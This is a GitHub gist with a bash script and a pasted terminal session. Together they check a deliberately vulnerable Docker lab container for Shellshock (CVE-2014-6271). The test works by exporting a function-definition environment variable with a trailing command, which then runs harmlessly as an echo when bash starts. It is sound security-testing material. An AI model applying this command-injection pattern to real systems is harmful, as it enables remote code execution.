Last active
April 2, 2019 16:54
-
-
Save wesleyit/c48a0b1e7e35b85e0a1bcf064183c260 to your computer and use it in GitHub Desktop.
Test for ShellShock Vulnerability (cve-2014-6271)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
docker run -d -p 8080:80 --name target hmlio/vaas-cve-2014-6271 | |
cat << EOF | docker exec -i target bash | |
export EXPLOIT="() { echo 'Hello from Shell'; }; echo 'This machine is vulnerable'" | |
bash | |
EOF |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Changed from pasted commands to script.
[wesley@linuxdragon: ~]$ docker run -d -p 8080:80 hmlio/vaas-cve-2014-6271
[wesley@linuxdragon: ~]$ docker exec -ti mystifying_einstein bash
root@250f4b7a7940:/# export EXPLOIT_VAR="() { echo 'Testing for ShellShock'; }; echo 'This machine is vulnerable.'"
root@250f4b7a7940:/# bash
This machine is vulnerable.
root@250f4b7a7940:/#